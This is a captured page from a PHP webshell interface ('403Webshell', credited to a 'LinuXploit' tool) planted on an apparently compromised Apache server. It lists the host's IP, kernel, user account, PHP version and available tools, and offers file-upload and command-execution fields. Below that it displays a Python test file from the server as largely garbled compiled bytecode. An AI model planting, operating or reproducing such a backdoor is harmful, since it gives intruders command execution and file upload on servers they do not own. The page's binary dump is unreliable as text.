403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_atexit.cpython-36.pyc
3

�w2_��@s�ddlZddlZddlZddlZddlmZddlmZdd�Zdd�Z	dd	�Z
d
d�Zdd
�Zdd�Z
dd�ZGdd�dej�ZejGdd�dej��Zedkr�ej�dS)�N)�support)�
script_helpercCstd�dS)N�h1)�print�rr�5/opt/alt/python36/lib64/python3.6/test/test_atexit.pyr	srcCstd�dS)N�h2)rrrrrrsrcCstd�dS)N�h3)rrrrrr	sr	cOstd||�dS)N�h4)r)�args�kwargsrrrr
sr
cCst�dS)N)�	TypeErrorrrrr�raise1srcCst�dS)N)�SystemErrorrrrr�raise2srcCst�dS)N)�
SystemExitrrrr�exitsrc@s|eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdS)�GeneralTestcCs4tj|_tj|_tj�|_|jt_t_tj	�dS)N)
�sys�stdout�save_stdout�stderr�save_stderr�io�StringIO�stream�atexit�_clear)�selfrrr�setUp!s

zGeneralTest.setUpcCs|jt_|jt_tj�dS)N)rrrrrrr)rrrr�tearDown(szGeneralTest.tearDowncCsBtjt�tjt�tjtddd�tj�|j|jj�d�dS)N��abc)�kwz"h4 (4,) {'kw': 'abc'}
h4 () {}
h1
)r�registerrr
�_run_exitfuncs�assertEqualr�getvalue)rrrr�	test_args-s

zGeneralTest.test_argscCs4tjdd�dddd�dD�dd�|jttj�dS)	NcSsdS)N�rrrrr�<lambda>8sz*GeneralTest.test_badargs.<locals>.<lambda>rcss|]
}|VqdS)Nr)�.0�xrrr�	<genexpr>8sz+GeneralTest.test_badargs.<locals>.<genexpr>r)�)r)r.)rr$�assertRaisesr
r%)rrrr�test_badargs7s"zGeneralTest.test_badargscCs<tjt�tjt�tjt�tj�|j|jj�d�dS)Nz	h3
h2
h1
)	rr$rrr	r%r&rr')rrrr�
test_order;s



zGeneralTest.test_ordercCs&tjt�tjt�|jttj�dS)N)rr$rrr/r
r%)rrrr�
test_raiseDs

zGeneralTest.test_raisecCs2tjdd��|jttj�|jd|jj��dS)NcSsddS)Nr)rrrrrrr*Nsz5GeneralTest.test_raise_unnormalized.<locals>.<lambda>�ZeroDivisionError)rr$r/r3r%�assertInrr')rrrr�test_raise_unnormalizedKsz#GeneralTest.test_raise_unnormalizedcCs.tjt�|jttj�|j|jj�d�dS)N�)	rr$rr/rr%r&rr')rrrr�	test_exitSs
zGeneralTest.test_exitcCs�dd�}dd�}dd�}tj|�tj|�tj|�|jttj�|jj�}|j|jd�d�|j	d	|�|j	d
|�|j	d|�dS)NcSsdddS)Nr)rrrrrr�f\sz,GeneralTest.test_print_tracebacks.<locals>.fcSsdddS)Nr)rrrrrr�g^sz,GeneralTest.test_print_tracebacks.<locals>.gcSsdddS)Nr)rrrrrr�h`sz,GeneralTest.test_print_tracebacks.<locals>.hr3�z# onez# twoz# three)
rr$r/r3r%rr'r&�countr4)rr8r9r:rrrr�test_print_tracebacksZs



z!GeneralTest.test_print_tracebackscsJdg��fdd�}xtd�D]}tj|�qWtj�|j�dd�dS)Nrcs�dd7<dS)Nrr)rr)�arr�incosz$GeneralTest.test_stress.<locals>.inc�)�rangerr$r%r&)rr?�ir)r>r�test_stressmszGeneralTest.test_stresscs@dg��fdd�}tj|�tj�tj�|j�dd�dS)Nrcs�dd7<dS)Nrr)rr)r>rrr?zsz#GeneralTest.test_clear.<locals>.inc)rr$rr%r&)rr?r)r>r�
test_clearxs
zGeneralTest.test_clearcsjdg��fdd�}�fdd�}xtd�D]}tj|�q(Wtj|�tj|�tj�|j�dd�dS)	Nrcs�dd7<dS)Nrr)rr)r>rrr?�sz(GeneralTest.test_unregister.<locals>.inccs�dd8<dS)Nrr)rr)r>rr�dec�sz(GeneralTest.test_unregister.<locals>.decr!r)���)rArr$�
unregisterr%r&)rr?rErBr)r>r�test_unregister�s

zGeneralTest.test_unregistercCsNg}tj|jd�tj�|j|dg�tj|j�tj�|j|dg�dS)N�)rr$�appendr%r&rG)r�lrrr�test_bound_methods�szGeneralTest.test_bound_methodscCs:d}tjd|�}|j|jj�j�ddg�|j|j�dS)Nz�if 1:
            import atexit

            def f(msg):
                print(msg)

            atexit.register(f, "one")
            atexit.register(f, "two")
            z-cZtwoZone)rZassert_python_okr&�out�decode�
splitlinesZassertFalse�err)r�code�resrrr�
test_shutdown�s
zGeneralTest.test_shutdownN)�__name__�
__module__�__qualname__rr r(r0r1r2r5r7r=rCrDrHrLrSrrrrrs
	
rc@seZdZdd�Zdd�ZdS)�SubinterpreterTestcCs6tj�}d}tj|�}|j|d�|jtj�|�dS)Nz�if 1:
            import atexit
            def f():
                pass
            atexit.register(f)
            del atexit
            r)r�_ncallbacksr�run_in_subinterpr&)r�nrQ�retrrr�test_callbacks_leak�s

z&SubinterpreterTest.test_callbacks_leakcCs6tj�}d}tj|�}|j|d�|jtj�|�dS)Nz�if 1:
            import atexit
            def f():
                pass
            atexit.register(f)
            atexit.__atexit = atexit
            r)rrXrrYr&)rrZrQr[rrr�test_callbacks_leak_refcycle�s

z/SubinterpreterTest.test_callbacks_leak_refcycleN)rTrUrVr\r]rrrrrW�srW�__main__)rZunittestrrZtestrZtest.supportrrrr	r
rrrZTestCaserZcpython_onlyrWrT�mainrrrr�<module>s$
"

Youez - 2016 - github.com/yon3zu
LinuXploit